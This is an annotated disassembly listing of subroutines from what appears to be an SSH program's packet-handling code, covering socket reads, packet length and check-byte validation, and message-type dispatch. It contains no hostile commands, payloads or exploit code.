080561ba  e8 4d f9 ff ff         call   08055b0c <Unknown0123>
080561bf  83 c4 10               add    $0x10,%esp
080561c2  39 fb                  cmp    %edi,%ebx
080561c4  89 45 e4               mov    %eax,0xffffffe4(%ebp)
080561c7  7d 21                  jge    080561ea <Unknown0144+0x12e>
080561c9  8d 76 00               lea    0x0(%esi),%esi
080561cc  83 ec 0c               sub    $0xc,%esp
080561cf  ff 35 a4 bd 07 08      pushl  0x807bda4  ;[in .bss] 0 'x0 x0 x0 x0' ""
080561d5  e8 7e ed ff ff         call   08054f58 <Unknown0107>
080561da  8b 55 e4               mov    0xffffffe4(%ebp),%edx
080561dd  29 da                  sub    %ebx,%edx
080561df  43                     inc    %ebx
080561e0  83 c4 10               add    $0x10,%esp
080561e3  39 fb                  cmp    %edi,%ebx
080561e5  88 42 07               mov    %al,0x7(%edx)
080561e8  7c e2                  jl     080561cc <Unknown0144+0x110>
080561ea  b8 08 00 00 00         mov    $0x8,%eax  ;8 'x8 x0 x0 x0' ""
080561ef  83 ec 08               sub    $0x8,%esp
080561f2  29 f8                  sub    %edi,%eax
080561f4  50                     push   %eax
080561f5  68 74 bd 07 08         push   $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
080561fa  e8 9d f8 ff ff         call   08055a9c <Unknown0121>
080561ff  c7 04 24 74 bd 07 08   movl   $0x807bd74,(%esp,1)  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
08056206  e8 3d f8 ff ff         call   08055a48 <Unknown0119>
0805620b  5b                     pop    %ebx
0805620c  5f                     pop    %edi
0805620d  50                     push   %eax
0805620e  68 74 bd 07 08         push   $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
08056213  e8 f4 f8 ff ff         call   08055b0c <Unknown0123>
08056218  89 04 24               mov    %eax,(%esp,1)
0805621b  e8 b8 64 00 00         call   0805c6d8 <Unknown0240>
08056220  83 c4 0c               add    $0xc,%esp
08056223  89 c2                  mov    %eax,%edx
08056225  c1 ea 18               shr    $0x18,%edx
08056228  88 55 e8               mov    %dl,0xffffffe8(%ebp)
0805622b  89 c2                  mov    %eax,%edx
0805622d  c1 ea 10               shr    $0x10,%edx
08056230  88 55 e9               mov    %dl,0xffffffe9(%ebp)
08056233  0f b6 cc               movzbl %ah,%ecx
08056236  0f b7 55 e8            movzwl 0xffffffe8(%ebp),%edx
0805623a  c1 e1 10               shl    $0x10,%ecx
0805623d  c1 e0 18               shl    $0x18,%eax
08056240  09 ca                  or     %ecx,%edx
08056242  09 c2                  or     %eax,%edx
08056244  8d 5d e8               lea    0xffffffe8(%ebp),%ebx
08056247  89 55 e8               mov    %edx,0xffffffe8(%ebp)
0805624a  6a 04                  push   $0x4
0805624c  53                     push   %ebx
0805624d  68 74 bd 07 08         push   $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
08056252  e8 2d f7 ff ff         call   08055984 <Unknown0117>
08056257  83 c4 0c               add    $0xc,%esp
0805625a  89 f0                  mov    %esi,%eax
0805625c  c1 f8 18               sar    $0x18,%eax
0805625f  88 45 e8               mov    %al,0xffffffe8(%ebp)
08056262  89 f0                  mov    %esi,%eax
08056264  c1 f8 10               sar    $0x10,%eax
08056267  88 45 e9               mov    %al,0xffffffe9(%ebp)
0805626a  89 f0                  mov    %esi,%eax
0805626c  c1 f8 08               sar    $0x8,%eax
0805626f  88 45 ea               mov    %al,0xffffffea(%ebp)
08056272  89 f0                  mov    %esi,%eax
08056274  88 45 eb               mov    %al,0xffffffeb(%ebp)
08056277  6a 04                  push   $0x4
08056279  53                     push   %ebx
0805627a  68 64 bd 07 08         push   $0x807bd64  ;[in .bss] 117 'x75 x0 x0 x0' "u"
0805627f  e8 00 f7 ff ff         call   08055984 <Unknown0117>
08056284  c7 04 24 74 bd 07 08   movl   $0x807bd74,(%esp,1)  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
0805628b  e8 b8 f7 ff ff         call   08055a48 <Unknown0119>
08056290  83 c4 0c               add    $0xc,%esp
08056293  50                     push   %eax
08056294  8d 45 e4               lea    0xffffffe4(%ebp),%eax
08056297  50                     push   %eax
08056298  68 64 bd 07 08         push   $0x807bd64  ;[in .bss] 117 'x75 x0 x0 x0' "u"
0805629d  e8 12 f7 ff ff         call   080559b4 <Unknown0118>
080562a2  83 ec 0c               sub    $0xc,%esp
080562a5  68 74 bd 07 08         push   $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
080562aa  e8 99 f7 ff ff         call   08055a48 <Unknown0119>
080562af  83 c4 10               add    $0x10,%esp
080562b2  50                     push   %eax
```

```
080562b3  83 ec 08              sub     $0x8,%esp
080562b6  68 74 bd 07 08        push    $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
080562bb  e8 4c f8 ff ff        call    08055b0c <Unknown0123>
080562c0  83 c4 0c              add     $0xc,%esp
080562c3  50                    push    %eax
080562c4  ff 75 e4              pushl   0xffffffe4(%ebp)
080562c7  68 00 ad 07 08        push    $0x807ad00  ;[in .bss] 1277195361 'x61 x74 x20 x4c' "at Linux 7.1
                                                    2.96-81)"
080562cc  e8 c7 fb ff ff        call    08055e98 <Unknown0135>
080562d1  83 c4 14              add     $0x14,%esp
080562d4  68 74 bd 07 08        push    $0x807bd74  ;[in .bss] 5948 'x3c x17 x0 x0' "<"
080562d9  e8 8e f6 ff ff        call    0805596c <Unknown0116>
080562de  8d 65 f4              lea     0xfffffff4(%ebp),%esp
080562e1  5b                    pop     %ebx
080562e2  5e                    pop     %esi
080562e3  5f                    pop     %edi
080562e4  5d                    pop     %ebp
080562e5  c3                    ret
080562e6  89 f6                 mov     %esi,%esi


  ;
  ; >----------------------<  Subroutine # 145 >----------------------<
  ;
080562e8 <Unknown0145>:
080562e8  55                    push    %ebp
080562e9  89 e5                 mov     %esp,%ebp
080562eb  57                    push    %edi
080562ec  56                    push    %esi
080562ed  53                    push    %ebx
080562ee  81 ec 8c 20 00 00     sub     $0x208c,%esp  ;8332 'x8c x20 x0 x0' ""
080562f4  e8 03 06 00 00        call    080568fc <Unknown0159>
080562f9  8d 9d 68 ff ff ff     lea     0xffffff68(%ebp),%ebx  ;-152 'x68 xff xff xff' "h"
080562ff  90                    nop
08056300  e8 e3 00 00 00        call    080563e8 <Unknown0147>
08056305  85 c0                 test    %eax,%eax
08056307  0f 85 ab 00 00 00     jne     080563b8 <Unknown0145+0xd0>  ;171 'xab x0 x0 x0' ""
0805630d  b9 20 00 00 00        mov     $0x20,%ecx  ;32 'x20 x0 x0 x0' " "
08056312  89 df                 mov     %ebx,%edi
08056314  fc                    cld
08056315  f3 ab                 repz stos %eax,%es:(%edi)
08056317  8b 15 20 7e 07 08     mov     0x8077e20,%edx  ;[in .data] -1 'xff xff xff xff' ""
0805631d  89 d0                 mov     %edx,%eax
0805631f  83 e0 1f              and     $0x1f,%eax
08056322  c1 ea 05              shr     $0x5,%edx
08056325  0f ab 04 93           bts     %eax,(%ebx,%edx,4)
08056329  83 ec 0c              sub     $0xc,%esp
0805632c  6a 00                 push    $0x0
0805632e  6a 00                 push    $0x0
08056330  6a 00                 push    $0x0
08056332  a1 20 7e 07 08        mov     0x8077e20,%eax  ;[in .data] -1 'xff xff xff xff' ""
08056337  53                    push    %ebx
08056338  40                    inc     %eax
08056339  50                    push    %eax
0805633a  e8 7d 3a ff ff        call    08049dbc <select>
0805633f  83 c4 1c              add     $0x1c,%esp
08056342  68 00 20 00 00        push    $0x2000  ;8192 'x0 x20 x0 x0' ""
08056347  8d b5 68 df ff ff     lea     0xffffdf68(%ebp),%esi  ;-8344 'x68 xdf xff xff' "h"
0805634d  56                    push    %esi
0805634e  ff 35 20 7e 07 08     pushl   0x8077e20  ;[in .data] -1 'xff xff xff xff' ""
08056354  e8 53 41 ff ff        call    0804a4ac <read>
08056359  89 c7                 mov     %eax,%edi
0805635b  83 c4 10              add     $0x10,%esp
0805635e  85 ff                 test    %edi,%edi
08056360  75 12                 jne     08056374 <Unknown0145+0x8c>
08056362  83 ec 08              sub     $0x8,%esp
08056365  68 00 11 07 08        push    $0x8071100  ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                    closed by remote host."
0805636a  6a 01                 push    $0x1
0805636c  e8 7f 9c ff ff        call    0804fff0 <Unknown0045>
08056371  83 c4 10              add     $0x10,%esp
08056374  85 ff                 test    %edi,%edi
08056376  79 2c                 jns     080563a4 <Unknown0145+0xbc>
08056378  e8 bf 3a ff ff        call    08049e3c <__errno_location>
0805637d  8b 00                 mov     (%eax),%eax
0805637f  83 f8 0b              cmp     $0xb,%eax
08056382  0f 84 78 ff ff ff     je      08056300 <Unknown0145+0x18>  ;-136 'x78 xff xff xff' "x"
08056388  83 ec 0c              sub     $0xc,%esp
0805638b  50                    push    %eax
0805638c  e8 5b 3a ff ff        call    08049dec <strerror>
08056391  83 c4 0c              add     $0xc,%esp
08056394  50                    push    %eax
08056395  68 40 11 07 08        push    $0x8071140  ;[in .rodata] 1684104530 'x52 x65 x61 x64' "Read from
```

<div style="text-align:center">socket failed: %.100s"</div>

```
0805639a  6a 01                    push    $0x1
0805639c  e8 4f 9c ff ff           call    0804fff0 <Unknown0045>
080563a1  83 c4 10                 add     $0x10,%esp
080563a4  83 ec 08                 sub     $0x8,%esp
080563a7  57                       push    %edi
080563a8  56                       push    %esi
080563a9  e8 0e 03 00 00           call    080566bc <Unknown0148>
080563ae  83 c4 10                 add     $0x10,%esp
080563b1  e9 4a ff ff ff           jmp     08056300 <Unknown0145+0x18>   ;-182 'x4a xff xff xff' "J"
080563b6  89 f6                    mov     %esi,%esi
080563b8  8d 65 f4                 lea     0xfffffff4(%ebp),%esp
080563bb  5b                       pop     %ebx
080563bc  5e                       pop     %esi
080563bd  5f                       pop     %edi
080563be  5d                       pop     %ebp
080563bf  c3                       ret


  ;
  ; >--------------------<  Subroutine # 146 >--------------------<
  ;
080563c0 <Unknown0146>:
080563c0  55                       push    %ebp
080563c1  89 e5                    mov     %esp,%ebp
080563c3  53                       push    %ebx
080563c4  51                       push    %ecx
080563c5  8b 5d 08                 mov     0x8(%ebp),%ebx
080563c8  e8 1b ff ff ff           call    080562e8 <Unknown0145>
080563cd  39 d8                    cmp     %ebx,%eax
080563cf  74 10                    je      080563e1 <Unknown0146+0x21>
080563d1  52                       push    %edx
080563d2  50                       push    %eax
080563d3  53                       push    %ebx
080563d4  68 60 11 07 08           push    $0x8071160   ;[in .rodata] 1953460816 'x50 x72 x6f x74' "Protocol
                                                          error: expected packet type %d, got %d"
080563d9  e8 02 04 00 00           call    080567e0 <Unknown0157>
080563de  83 c4 10                 add     $0x10,%esp
080563e1  8b 5d fc                 mov     0xfffffffc(%ebp),%ebx
080563e4  c9                       leave
080563e5  c3                       ret
080563e6  89 f6                    mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine # 147 >--------------------<
  ;
080563e8 <Unknown0147>:
080563e8  55                       push    %ebp
080563e9  89 e5                    mov     %esp,%ebp
080563eb  56                       push    %esi
080563ec  53                       push    %ebx
080563ed  83 ec 10                 sub     $0x10,%esp
080563f0  83 ec 0c                 sub     $0xc,%esp
080563f3  68 54 bd 07 08           push    $0x807bd54   ;[in .bss] 4 'x4 x0 x0 x0' ""
080563f8  e8 4b f6 ff ff           call    08055a48 <Unknown0119>
080563fd  83 c4 10                 add     $0x10,%esp
08056400  83 f8 0b                 cmp     $0xb,%eax
08056403  76 66                    jbe     0805646b <Unknown0147+0x83>
08056405  83 ec 0c                 sub     $0xc,%esp
08056408  68 54 bd 07 08           push    $0x807bd54   ;[in .bss] 4 'x4 x0 x0 x0' ""
0805640d  e8 fa f6 ff ff           call    08055b0c <Unknown0123>
08056412  0f b6 18                 movzbl  (%eax),%ebx
08056415  0f b6 50 01              movzbl  0x1(%eax),%edx
08056419  c1 e2 10                 shl     $0x10,%edx
0805641c  c1 e3 18                 shl     $0x18,%ebx
0805641f  09 d3                    or      %edx,%ebx
08056421  0f b6 50 02              movzbl  0x2(%eax),%edx
08056425  c1 e2 08                 shl     $0x8,%edx
08056428  09 d3                    or      %edx,%ebx
0805642a  0f b6 40 03              movzbl  0x3(%eax),%eax
0805642e  09 c3                    or      %eax,%ebx
08056430  8d 43 fb                 lea     0xfffffffb(%ebx),%eax
08056433  83 c4 10                 add     $0x10,%esp
08056436  3d fb ff 03 00           cmp     $0x3fffb,%eax   ;262139 'xfb xff x3 x0' ""
0805643b  76 11                    jbe     0805644e <Unknown0147+0x66>
0805643d  83 ec 08                 sub     $0x8,%esp
08056440  53                       push    %ebx
08056441  68 90 11 07 08           push    $0x8071190   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad packet
                                                          length %u."
08056446  e8 95 03 00 00           call    080567e0 <Unknown0157>
0805644b  83 c4 10                 add     $0x10,%esp
0805644e  8d 73 08                 lea     0x8(%ebx),%esi
```

```
08056451  83 ec 0c              sub     $0xc,%esp
08056454  83 e6 f8              and     $0xfffffff8,%esi
08056457  68 54 bd 07 08        push    $0x807bd54  ;[in .bss] 4 'x4 x0 x0 x0' ""
0805645c  e8 e7 f5 ff ff        call    08055a48 <Unknown0119>
08056461  8d 56 04              lea     0x4(%esi),%edx
08056464  83 c4 10              add     $0x10,%esp
08056467  39 d0                 cmp     %edx,%eax
08056469  73 09                 jae     08056474 <Unknown0147+0x8c>
0805646b  31 c0                 xor     %eax,%eax
0805646d  e9 42 02 00 00        jmp     080566b4 <Unknown0147+0x2cc>  ;578 'x42 x2 x0 x0' "B"
08056472  89 f6                 mov     %esi,%esi
08056474  83 ec 08              sub     $0x8,%esp
08056477  6a 04                 push    $0x4
08056479  68 54 bd 07 08        push    $0x807bd54  ;[in .bss] 4 'x4 x0 x0 x0' ""
0805647e  e8 19 f6 ff ff        call    08055a9c <Unknown0121>
08056483  c7 04 24 84 bd 07 08  movl    $0x807bd84,(%esp,1)  ;[in .bss] 4 'x4 x0 x0 x0' ""
0805648a  e8 b9 f5 ff ff        call    08055a48 <Unknown0119>
0805648f  83 c4 10              add     $0x10,%esp
08056492  85 c0                 test    %eax,%eax
08056494  74 10                 je      080564a6 <Unknown0147+0xbe>
08056496  83 ec 0c              sub     $0xc,%esp
08056499  68 c0 11 07 08        push    $0x80711c0  ;[in .rodata] 1802401098 'x4a x75 x6e x6b' "Junk data
                                                      left to incoming packet buffer after all data
                                                      processed"
0805649e  e8 3d 03 00 00        call    080567e0 <Unknown0157>
080564a3  83 c4 10              add     $0x10,%esp
080564a6  83 ec 0c              sub     $0xc,%esp
080564a9  68 84 bd 07 08        push    $0x807bd84  ;[in .bss] 4 'x4 x0 x0 x0' ""
080564ae  e8 b9 f4 ff ff        call    0805596c <Unknown0116>
080564b3  83 c4 0c              add     $0xc,%esp
080564b6  56                    push    %esi
080564b7  8d 45 f4              lea     0xfffffff4(%ebp),%eax
080564ba  50                    push    %eax
080564bb  68 84 bd 07 08        push    $0x807bd84  ;[in .bss] 4 'x4 x0 x0 x0' ""
080564c0  e8 ef f4 ff ff        call    080559b4 <Unknown0118>
080564c5  56                    push    %esi
080564c6  83 ec 08              sub     $0x8,%esp
080564c9  68 54 bd 07 08        push    $0x807bd54  ;[in .bss] 4 'x4 x0 x0 x0' ""
080564ce  e8 39 f6 ff ff        call    08055b0c <Unknown0123>
080564d3  83 c4 0c              add     $0xc,%esp
080564d6  50                    push    %eax
080564d7  ff 75 f4              pushl   0xfffffff4(%ebp)
080564da  68 a0 9c 07 08        push    $0x8079ca0  ;[in .bss] 1191182377 'x29 x0 x0 x47' ")"
080564df  e8 00 fa ff ff        call    08055ee4 <Unknown0136>
080564e4  83 c4 18              add     $0x18,%esp
080564e7  56                    push    %esi
080564e8  68 54 bd 07 08        push    $0x807bd54  ;[in .bss] 4 'x4 x0 x0 x0' ""
080564ed  e8 aa f5 ff ff        call    08055a9c <Unknown0121>
080564f2  c7 04 24 84 bd 07 08  movl    $0x807bd84,(%esp,1)  ;[in .bss] 4 'x4 x0 x0 x0' ""
080564f9  e8 4a f5 ff ff        call    08055a48 <Unknown0119>
080564fe  5e                    pop     %esi
080564ff  5a                    pop     %edx
08056500  83 e8 04              sub     $0x4,%eax
08056503  50                    push    %eax
08056504  68 84 bd 07 08        push    $0x807bd84  ;[in .bss] 4 'x4 x0 x0 x0' ""
08056509  e8 fe f5 ff ff        call    08055b0c <Unknown0123>
0805650e  89 04 24              mov     %eax,(%esp,1)
08056511  e8 c2 61 00 00        call    0805c6d8 <Unknown0240>
08056516  5a                    pop     %edx
08056517  89 da                 mov     %ebx,%edx
08056519  83 e2 07              and     $0x7,%edx
0805651c  89 c6                 mov     %eax,%esi
0805651e  b8 08 00 00 00        mov     $0x8,%eax   ;8 'x8 x0 x0 x0' ""
08056523  59                    pop     %ecx
08056524  29 d0                 sub     %edx,%eax
08056526  50                    push    %eax
08056527  68 84 bd 07 08        push    $0x807bd84  ;[in .bss] 4 'x4 x0 x0 x0' ""
0805652c  e8 6b f5 ff ff        call    08055a9c <Unknown0121>
08056531  c7 04 24 84 bd 07 08  movl    $0x807bd84,(%esp,1)  ;[in .bss] 4 'x4 x0 x0 x0' ""
08056538  e8 0b f5 ff ff        call    08055a48 <Unknown0119>
0805653d  83 c4 10              add     $0x10,%esp
08056540  39 c3                 cmp     %eax,%ebx
08056542  74 1c                 je      08056560 <Unknown0147+0x178>
08056544  68 02 12 07 08        push    $0x8071202  ;[in .rodata] 1801675120 'x70 x61 x63 x6b'
                                                      "packet_read_poll"
08056549  68 48 02 00 00        push    $0x248  ;584 'x48 x2 x0 x0' "H"
0805654e  68 26 10 07 08        push    $0x8071026  ;[in .rodata] 1801675120 'x70 x61 x63 x6b' "packet.c"
08056553  68 20 12 07 08        push    $0x8071220  ;[in .rodata] 544105836 'x6c x65 x6e x20' "len ==
                                                      buffer_len(&incoming_packet)"
08056558  e8 6f 38 ff ff        call    08049dcc <__assert_fail>
0805655d  8d 76 00              lea     0x0(%esi),%esi
08056560  83 ec 0c              sub     $0xc,%esp
08056563  68 84 bd 07 08        push    $0x807bd84  ;[in .bss] 4 'x4 x0 x0 x0' ""
08056568  e8 9f f5 ff ff        call    08055b0c <Unknown0123>
```

```
0805656d  01 d8                  add     %ebx,%eax
0805656f  0f b6 48 fc            movzbl  0xfffffffc(%eax),%ecx
08056573  0f b6 50 fd            movzbl  0xfffffffd(%eax),%edx
08056577  c1 e2 10               shl     $0x10,%edx
0805657a  c1 e1 18               shl     $0x18,%ecx
0805657d  09 d1                  or      %edx,%ecx
0805657f  0f b6 50 fe            movzbl  0xfffffffe(%eax),%edx
08056583  c1 e2 08               shl     $0x8,%edx
08056586  09 d1                  or      %edx,%ecx
08056588  0f b6 40 ff            movzbl  0xffffffff(%eax),%eax
0805658c  09 c1                  or      %eax,%ecx
0805658e  83 c4 10               add     $0x10,%esp
08056591  39 ce                  cmp     %ecx,%esi
08056593  74 10                  je      080565a5 <Unknown0147+0x1bd>
08056595  83 ec 0c               sub     $0xc,%esp
08056598  68 60 12 07 08         push    $0x8071260   ;[in .rodata] 1920102211 'x43 x6f x72 x72' "Corrupted
                                                                  check bytes on input."
0805659d  e8 3e 02 00 00         call    080567e0 <Unknown0157>
080565a2  83 c4 10               add     $0x10,%esp
080565a5  83 ec 08               sub     $0x8,%esp
080565a8  6a 04                  push    $0x4
080565aa  68 84 bd 07 08         push    $0x807bd84   ;[in .bss] 4 'x4 x0 x0 x0' ""
080565af  e8 20 f5 ff ff         call    08055ad4 <Unknown0122>
080565b4  a1 30 7e 07 08         mov     0x8077e30,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
080565b9  83 c4 10               add     $0x10,%esp
080565bc  85 c0                  test    %eax,%eax
080565be  74 55                  je      08056615 <Unknown0147+0x22d>
080565c0  83 ec 0c               sub     $0xc,%esp
080565c3  68 94 bd 07 08         push    $0x807bd94   ;[in .bss] 6 'x6 x0 x0 x0' ""
080565c8  e8 9f f3 ff ff         call    0805596c <Unknown0116>
080565cd  5b                     pop     %ebx
080565ce  5e                     pop     %esi
080565cf  68 94 bd 07 08         push    $0x807bd94   ;[in .bss] 6 'x6 x0 x0 x0' ""
080565d4  68 84 bd 07 08         push    $0x807bd84   ;[in .bss] 4 'x4 x0 x0 x0' ""
080565d9  e8 ba 07 00 00         call    08056d98 <Unknown0169>
080565de  c7 04 24 84 bd 07 08   movl    $0x807bd84,(%esp,1)   ;[in .bss] 4 'x4 x0 x0 x0' ""
080565e5  e8 82 f3 ff ff         call    0805596c <Unknown0116>
080565ea  c7 04 24 94 bd 07 08   movl    $0x807bd94,(%esp,1)   ;[in .bss] 6 'x6 x0 x0 x0' ""
080565f1  e8 52 f4 ff ff         call    08055a48 <Unknown0119>
080565f6  83 c4 0c               add     $0xc,%esp
080565f9  50                     push    %eax
080565fa  51                     push    %ecx
080565fb  68 94 bd 07 08         push    $0x807bd94   ;[in .bss] 6 'x6 x0 x0 x0' ""
08056600  e8 07 f5 ff ff         call    08055b0c <Unknown0123>
08056605  5e                     pop     %esi
08056606  5a                     pop     %edx
08056607  50                     push    %eax
08056608  68 84 bd 07 08         push    $0x807bd84   ;[in .bss] 4 'x4 x0 x0 x0' ""
0805660d  e8 72 f3 ff ff         call    08055984 <Unknown0117>
08056612  83 c4 10               add     $0x10,%esp
08056615  53                     push    %ebx
08056616  6a 01                  push    $0x1
08056618  8d 45 e8               lea     0xffffffe8(%ebp),%eax
0805661b  50                     push    %eax
0805661c  68 84 bd 07 08         push    $0x807bd84   ;[in .bss] 4 'x4 x0 x0 x0' ""
08056621  e8 32 f4 ff ff         call    08055a58 <Unknown0120>
08056626  8a 45 e8               mov     0xffffffe8(%ebp),%al
08056629  83 c4 10               add     $0x10,%esp
0805662c  3c 01                  cmp     $0x1,%al
0805662e  75 20                  jne     08056650 <Unknown0147+0x268>
08056630  83 ec 0c               sub     $0xc,%esp
08056633  6a 00                  push    $0x0
08056635  e8 f6 00 00 00         call    08056730 <Unknown0153>
0805663a  83 c4 0c               add     $0xc,%esp
0805663d  50                     push    %eax
0805663e  68 80 12 07 08         push    $0x8071280   ;[in .rodata] 809053733 'x25 x2e x39 x30' "%.900s"
08056643  6a 01                  push    $0x1
08056645  e8 a6 99 ff ff         call    0804fff0 <Unknown0045>
0805664a  83 c4 10               add     $0x10,%esp
0805664d  8a 45 e8               mov     0xffffffe8(%ebp),%al
08056650  3c 20                  cmp     $0x20,%al
08056652  75 10                  jne     08056664 <Unknown0147+0x27c>
08056654  83 ec 0c               sub     $0xc,%esp
08056657  6a 00                  push    $0x0
08056659  e8 d2 00 00 00         call    08056730 <Unknown0153>
0805665e  89 04 24               mov     %eax,(%esp,1)
08056661  eb 3e                  jmp     080566a1 <Unknown0147+0x2b9>
08056663  90                     nop
08056664  3c 24                  cmp     $0x24,%al
08056666  75 48                  jne     080566b0 <Unknown0147+0x2c8>
08056668  83 ec 0c               sub     $0xc,%esp
0805666b  6a 00                  push    $0x0
0805666d  e8 be 00 00 00         call    08056730 <Unknown0153>
08056672  89 c3                  mov     %eax,%ebx
```

```
08056674  83 c4 10           add    $0x10,%esp
08056677  80 3b 2a           cmpb   $0x2a,(%ebx)
0805667a  75 10              jne    0805668c <Unknown0147+0x2a4>
0805667c  83 ec 08           sub    $0x8,%esp
0805667f  53                 push   %ebx
08056680  68 87 12 07 08     push   $0x8071287   ;[in .rodata] 1869440338 'x52 x65 x6d x6f' "Remote:
                                                   %.900s"
08056685  e8 7e 97 ff ff     call   0804fe08 <Unknown0040>
0805668a  eb 0e              jmp    0805669a <Unknown0147+0x2b2>
0805668c  83 ec 08           sub    $0x8,%esp
0805668f  53                 push   %ebx
08056690  68 87 12 07 08     push   $0x8071287   ;[in .rodata] 1869440338 'x52 x65 x6d x6f' "Remote:
                                                   %.900s"
08056695  e8 e6 96 ff ff     call   0804fd80 <Unknown0039>
0805669a  83 c4 10           add    $0x10,%esp
0805669d  83 ec 0c           sub    $0xc,%esp
080566a0  53                 push   %ebx
080566a1  e8 6a 08 00 00     call   08056f10 <Unknown0172>
080566a6  83 c4 10           add    $0x10,%esp
080566a9  e9 42 fd ff ff     jmp    080563f0 <Unknown0147+0x8>  ;-702 'x42 xfd xff xff' "B"
080566ae  89 f6              mov    %esi,%esi
080566b0  0f b6 45 e8        movzbl 0xffffffe8(%ebp),%eax
080566b4  8d 65 f8           lea    0xfffffff8(%ebp),%esp
080566b7  5b                 pop    %ebx
080566b8  5e                 pop    %esi
080566b9  5d                 pop    %ebp
080566ba  c3                 ret
080566bb  90                 nop


  ;
  ; >--------------------< Subroutine # 148 >--------------------<
  ;
080566bc <Unknown0148>:
080566bc  55                 push   %ebp
080566bd  89 e5              mov    %esp,%ebp
080566bf  83 ec 0c           sub    $0xc,%esp
080566c2  ff 75 0c           pushl  0xc(%ebp)
080566c5  ff 75 08           pushl  0x8(%ebp)
080566c8  68 54 bd 07 08     push   $0x807bd54   ;[in .bss] 4 'x4 x0 x0 x0' ""
080566cd  e8 b2 f2 ff ff     call   08055984 <Unknown0117>
080566d2  c9                 leave
080566d3  c3                 ret


  ;
  ; >--------------------< Subroutine # 149 >--------------------<
  ;
080566d4 <Unknown0149>:
080566d4  55                 push   %ebp
080566d5  89 e5              mov    %esp,%ebp
080566d7  83 ec 14           sub    $0x14,%esp
080566da  68 84 bd 07 08     push   $0x807bd84   ;[in .bss] 4 'x4 x0 x0 x0' ""
080566df  e8 64 f3 ff ff     call   08055a48 <Unknown0119>
080566e4  c9                 leave
080566e5  c3                 ret
080566e6  89 f6              mov    %esi,%esi


  ;
  ; >--------------------< Subroutine # 150 >--------------------<
  ;
080566e8 <Unknown0150>:
080566e8  55                 push   %ebp
080566e9  89 e5              mov    %esp,%ebp
080566eb  83 ec 0c           sub    $0xc,%esp
080566ee  6a 01              push   $0x1
080566f0  8d 45 ff           lea    0xffffffff(%ebp),%eax
080566f3  50                 push   %eax
080566f4  68 84 bd 07 08     push   $0x807bd84   ;[in .bss] 4 'x4 x0 x0 x0' ""
080566f9  e8 5a f3 ff ff     call   08055a58 <Unknown0120>
080566fe  0f b6 45 ff        movzbl 0xffffffff(%ebp),%eax
08056702  c9                 leave
08056703  c3                 ret


  ;
  ; >--------------------< Subroutine # 151 >--------------------<
  ;
08056704 <Unknown0151>:
08056704  55                 push   %ebp
08056705  89 e5              mov    %esp,%ebp
08056707  83 ec 14           sub    $0x14,%esp
0805670a  68 84 bd 07 08     push   $0x807bd84   ;[in .bss] 4 'x4 x0 x0 x0' ""
```

```
0805670f  e8 2c 43 00 00          call    0805aa40 <Unknown0221>
08056714  c9                      leave
08056715  c3                      ret
08056716  89 f6                   mov     %esi,%esi


  ;
  ; >--------------------< Subroutine # 152 >--------------------<
  ;
08056718 <Unknown0152>:
08056718  55                      push    %ebp
08056719  89 e5                   mov     %esp,%ebp
0805671b  83 ec 10                sub     $0x10,%esp
0805671e  ff 75 08                pushl   0x8(%ebp)
08056721  68 84 bd 07 08          push    $0x807bd84   ;[in .bss] 4 'x4 x0 x0 x0' ""
08056726  e8 65 42 00 00          call    0805a990 <Unknown0220>
0805672b  c9                      leave
0805672c  c3                      ret
0805672d  8d 76 00                lea     0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine # 153 >--------------------<
  ;
08056730 <Unknown0153>:
08056730  55                      push    %ebp
08056731  89 e5                   mov     %esp,%ebp
08056733  83 ec 10                sub     $0x10,%esp
08056736  ff 75 08                pushl   0x8(%ebp)
08056739  68 84 bd 07 08          push    $0x807bd84   ;[in .bss] 4 'x4 x0 x0 x0' ""
0805673e  e8 7d 43 00 00          call    0805aac0 <Unknown0223>
08056743  c9                      leave
08056744  c3                      ret
08056745  8d 76 00                lea     0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine # 154 >--------------------<
  ;
08056748 <Unknown0154>:
08056748  55                      push    %ebp
08056749  89 e5                   mov     %esp,%ebp
0805674b  83 ec 14                sub     $0x14,%esp
0805674e  68 84 bd 07 08          push    $0x807bd84   ;[in .bss] 4 'x4 x0 x0 x0' ""
08056753  e8 14 f2 ff ff          call    0805596c <Unknown0116>
08056758  c9                      leave
08056759  c3                      ret
0805675a  89 f6                   mov     %esi,%esi


  ;
  ; >--------------------< Subroutine # 155 >--------------------<
  ;
0805675c <Unknown0155>:
0805675c  55                      push    %ebp
0805675d  89 e5                   mov     %esp,%ebp
0805675f  8b 55 08                mov     0x8(%ebp),%edx
08056762  31 c0                   xor     %eax,%eax
08056764  85 d2                   test    %edx,%edx
08056766  74 0c                   je      08056774 <Unknown0155+0x18>
08056768  8b 4d 0c                mov     0xc(%ebp),%ecx
0805676b  85 c9                   test    %ecx,%ecx
0805676d  75 05                   jne     08056774 <Unknown0155+0x18>
0805676f  b8 01 00 00 00          mov     $0x1,%eax    ;1 'x1 x0 x0 x0' ""
08056774  a3 40 7e 07 08          mov     %eax,0x8077e40   ;[in .data] 0 'x0 x0 x0 x0' ""
08056779  5d                      pop     %ebp
0805677a  c3                      ret
0805677b  90                      nop


  ;
  ; >--------------------< Subroutine # 156 >--------------------<
  ;
0805677c <Unknown0156>:
0805677c  55                      push    %ebp
0805677d  89 e5                   mov     %esp,%ebp
0805677f  57                      push    %edi
08056780  53                      push    %ebx
08056781  a1 40 7e 07 08          mov     0x8077e40,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
08056786  81 ec 00 04 00 00       sub     $0x400,%esp   ;1024 'x0 x4 x0 x0' ""
0805678c  85 c0                   test    %eax,%eax
0805678e  74 46                   je      080567d6 <Unknown0156+0x5a>
08056790  8d 45 0c                lea     0xc(%ebp),%eax
08056793  50                      push    %eax
```

```
08056794  ff 75 08              pushl  0x8(%ebp)
08056797  68 00 04 00 00        push   $0x400   ;1024 'x0 x4 x0 x0' ""
